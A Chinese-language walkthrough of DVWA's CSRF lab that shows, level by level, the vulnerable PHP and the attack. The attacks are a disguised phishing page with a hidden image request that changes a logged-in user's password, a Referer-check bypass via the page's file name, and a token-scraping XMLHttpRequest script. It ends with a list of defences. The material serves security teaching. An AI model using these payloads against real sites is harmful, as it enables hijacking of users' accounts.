DVWA CSRF 跨站请求伪造通关教程

漏洞简介

CSRF,全称 Cross-Site Request Forgery,跨站请求伪造。简单说就是攻击者伪造一个请求,诱导已经登录的用户去点,然后用户不知不觉就帮攻击者干了一些事,比如改密码、转账之类的。

原理就是浏览器会自动带上 Cookie,所以只要用户登录了,请求发出去就带着身份信息,服务器分辨不出这是不是用户真的想做的操作。

这关的目标是通过 CSRF 修改用户密码。

Low 级别

看代码:

1
2
3
4
5
6
7
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
}

GET 请求直接改密码,啥防护都没有。

攻击方法

正常改密码的请求长这样:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

那我伪造一个:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

做个钓鱼页面:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了</title>
</head>
<body>
<h1>恭喜您获得一等奖!</h1>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<p>请点击下方按钮领取奖品</p>
</body>
</html>

用户访问这个页面的瞬间,img 标签就会发送请求,密码就被改成 hacked 了。用户完全不知道发生了什么。

试一下用新密码登录,成功!

Medium 级别

Medium 加了 Referer 检验:

1
2
3
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 允许修改密码
}

它检查请求头里的 Referer 是否包含服务器域名,比如 localhost

绕过方法

问题在于它只是检查包含,那我把我钓鱼页面的路径里加上 localhost 不就行了?

比如文件名叫 localhost.html,或者放在 localhost 目录下。这样 Referer 里就会有 localhost 这个字符串,校验就过了。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<h1>页面加载中...</h1>
</body>
</html>

这验证写得也太随意了。

High 级别

High 加了 CSRF Token:

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

每次请求都要带个有效 Token,攻击者不知道 Token 就没法伪造请求了。

攻击方法

单纯的 CSRF 搞不定了,得配合 XSS 才行。如果有 XSS 漏洞,就能用 JavaScript 去获取页面里的 Token:

1
var token = document.getElementsByName('user_token')[0].value;

然后构造攻击页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3892/vulnerabilities/csrf/", false);
xhr.send();
var response = xhr.responseText;
var token = response.match(/user_token'\s*value='([^']+)'/)[1];

var attackUrl = "http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=" + token;
var attackXhr = new XMLHttpRequest();
attackXhr.open("GET", attackUrl, false);
attackXhr.send();
</script>
</body>
</html>

不过这个受同源策略限制,实际场景得看具体情况,这里主要是演示思路。

Impossible 级别

Impossible 级别是真安全:

1
2
3
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

改用 POST 了,还强制验证 Token,密码强度也有要求。这才是正确的防护姿势。

小结

CSRF 防护要点:

  1. 敏感操作一定要用 CSRF Token
  2. 尽量用 POST,别用 GET
  3. Cookie 设置 SameSite 属性
  4. 重要操作要求二次确认
  5. Referer 校验可以加,但别只指望它